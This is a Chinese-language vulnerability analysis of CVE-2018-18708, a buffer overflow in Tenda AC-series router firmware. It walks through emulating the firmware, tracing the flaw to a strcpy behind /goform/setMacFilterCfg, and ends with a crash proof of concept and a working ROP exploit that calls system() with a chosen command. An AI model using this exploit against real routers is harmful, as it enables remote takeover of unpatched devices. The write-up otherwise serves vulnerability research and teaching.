0x01 漏洞描述
CVE-2018-18708是Tenda路由器的httpd存在缓冲区溢出漏洞。可以利用该漏洞造成拒绝服务。
影响版本:
AC7 V15.03.06.44_CN
AC9 V15.03.05.19_CN
AC10 V15.03.06.23_CN
AC15 V15.03.05.19_CN
AC18 V15.03.05.19(6318)_CN
0x02 漏洞分析
固件模拟
US_AC15V1.0BR_V15.03.05.19_multi_TD01
提取固件
提取固件运行httpd可执行文件
binwalk -Me US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin
查看文件信息,是arm
qemu执行
cd _US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/squashfs-root
cp $(which qemu-arm-static) ./
sudo chroot ./ ./qemu-arm-static ./bin/httpd
会卡在Welcome to
patch
ida分析发现sub_2E420,发现welcome to之后有两处check,第一处check不通过会进入休眠状态,第二个检查连接情况,不通过会打印连接失败。
patch掉这两处的检测
patch掉之后继续执行
安装uml-utilities
sudo apt install uml-utilities
安装bridge-utils
https://mirrors.edge.kernel.org/pub/linux/utils/net/bridge-utils/bridge-utils-1.7.1.tar.xz
tar -xvf bridge-utils-1.7.1.tar.xz
autoconf
./configure
make
sudo make install
定位ip
搜索字符串Listen ip定位到sub_1B84C函数
分析调用链
sub_2E420 -> sub_2E9EC -> sub_29510 -> sub_29818 -> sub_1B84C
函数sub_29818调用了sub_1B84C
sudo chroot . ./qemu-arm-static -g 1111 ./bin/httpd
gdb-multiarch
set architecture arm
b*0x1B84C
target remote:1111
对ip参数v8进行定位
v8和s.sa_data[2]、a1有关
往上回溯,sub_29818调用了sub_1B84C,sub_29818的v8是了sub_1B84C的第一个参数a1
往上回溯到sub_2E420,ip的值与s和v19有关。
查看getIfIp
getIfIp为外部导入函数,位于libcommon.so中
ioctl有三个参数,第一个参数fd由socket()系统调用返回,第二个参数获取IP地址。第三个参数与getLanIfName函数有关。
因此函数整体流程为获取IP地址返回v2,v2的值为0不会进入if循环,ip的值由v19决定,v19是getIfIp函数的第二个参数v2,系统调用获取IP后赋给a2(v19)。
getLanIfName会调用get_eth_name函数,参数写死为0,get_eth_name在libChipApi.so中,查看libChipApi.so中的get_eth_name函数,函数返回v1,为网卡名称
添加网卡
因此整体流程为getLanIfName函数调用get_eth_name函数获取网卡名称,将网卡名称做为参数输入到getIfIp中。函数寻找名称为br0的网卡的ip地址传递给v19。因此让程序监听正确的ip地址需要新建br0网卡。
sudo brctl addbr br0
sudo brctl addif br0 eth0
sudo ifconfig br0 up
sudo dhclient br0
重新启动找到了br0网卡并获取了ip地址
调用链分析
函数调用关系:sub_2E420 -> sub_2E9EC -> sub_42378 -> formSetMacFilterCfg -> sub_C14DC -> sub_C17A0 -> sub_C24C0
缓冲区:sub_C24C0函数中的缓冲区a2来自sub_C17A0的v12
字符串src:sub_2BA8C的返回值 -> formSetMacFilterCfg的v17 -> sub_C14DC的a2 -> sub_C17A0的a2 -> sub_C24C0的a1 -> src
sub_C24C0
漏洞点在sub_C24C0的strcpy函数
sub_C17A0
溢出字符串src是sub_C24C0函数的第一个参数a1,来自sub_C17A0的第二个参数a2
缓冲区a2是sub_C24C0函数的第二个参数a2,来自sub_C17A0的v12。
sub_C14DC
sub_C17A0的第二个参数a2来自sub_C14DC的第二个参数a2
formSetMacFilterCfg
formSetMacFilterCfg函数调用了sub_C14DC,sub_C14DC的第二个参数a2来自formSetMacFilterCfg的v17,v17是sub_2BA8C的返回值,程序获取到http请求的deviceList的值,传递给sub_C24C0函数的漏洞点。
调用链分支跳转
函数中有不同功能的处理函数,显示请求到指定路径会调用相应的处理函数。
进入formSetMacFilterCfg函数需要访问/goform/setMacFilterCfg
formSetMacFilterCfg
formSetMacFilterCfg函数存在两个分支,sub_C10D0和sub_C14DC
v19为0才会进入sub_C14DC函数,因此sub_C10D0的返回值需要为0
sub_C10D0
sub_C10D0的返回值为0需要输入的数据a1为black或者white
sub_C24C0
最终到达漏洞点之后会检测包含\r的字符串
抓包
访问 http://192.168.130.137/goform/setMacFilterCfg 抓包
返回{“errCode”:2}
formSetMacFilterCfg
进入formSetMacFilterCfg函数,查看setMacFilterCfg接口对应的处理过程。
调用了sub_2BA8C 和 sub_C10D0和sub_C10DC
sub_2BA8C获取前端传过来的表单中获取对应的值。之后传入sub_C210D0
之后会对v19进行判断
sub_C10D0
对传入的值进行strcmp比较,决定返回的值。
判断是black还是white,如果满足其中一个返回0,否则返回2。如果没有就会返回2,所以抓包返回结果为{“errCode”:2}
所以必须传参setMacFilterCfg为black或者white
sub_C14DC
第二个参数是需要有\n,并且返回其地址。
之后都会进入sub_C17A0函数
sub_C17A0
调用了sub_C24C0,将deviceList和v12传入
sub_C24C0
触发测试
sub_C24C0函数中的缓冲区a2来自sub_C17A0的v12,大小为176
根据http post请求内容构造
import requests
url = "http://192.168.130.137/goform/setMacFilterCfg"
cookie = {"Cookie":"password=csplqw"}
data = {"macFilterType": "black", "deviceList":"\r" + "A" * 176 + "bbbb"}
requests.post(url, cookies=cookie, data=data)
requests.post(url, cookies=cookie, data=data)
测试
sudo chroot . ./qemu-arm-static -g 1111 ./bin/httpd
gdb-multiarch ./bin/httpd
target remote:1111
python poc.py
正好覆盖
0x03漏洞利用
保护
开启了NX保护
libc基址
strcpy函数下断点找函数地址,0x3fdda508
找偏移
算基址
0x3fdda508-3e508=0x3fd9C000
gadgets
ROPgadget --binary libc.so.0 --only "pop" | grep r3
ROPgadget --binary libc.so.0 | grep "mov r0, sp ; blx r3"
使用0x00018298 : pop {r3, pc}
和 0x00040cb8 : mov r0, sp ; blx r3
来构造rop。将第一个r3改成system_addr,将命令放在sp上,之后跳转到system_addr。
system
readelf -s libc.so.0 | grep system
找system偏移
exp
payload结构:[offset,gadget1,system,gadget2]
import requests
from pwn import *
cmd = b"echo hello"
libc_base = 0x3fd9C000
system_offset = 0x005a270
gadget1_offset = 0x00018298
gadget2_offset = 0x00040cb8
system_addr = libc_base + system_offset
gadget1 = gadget1_offset + libc_base
gadget2 = gadget2_offset + libc_base
payload = b"A"*176 + p32(gadget1) + p32(system_addr) + p32(gadget2) + cmd
url = "http://192.168.130.137/goform/setMacFilterCfg"
cookie = {"Cookie":"password=csplqw"}
data = {"macFilterType": "black", "deviceList":b"\r" + payload}
requests.post(url, cookies=cookie, data=data)
requests.post(url, cookies=cookie, data=data)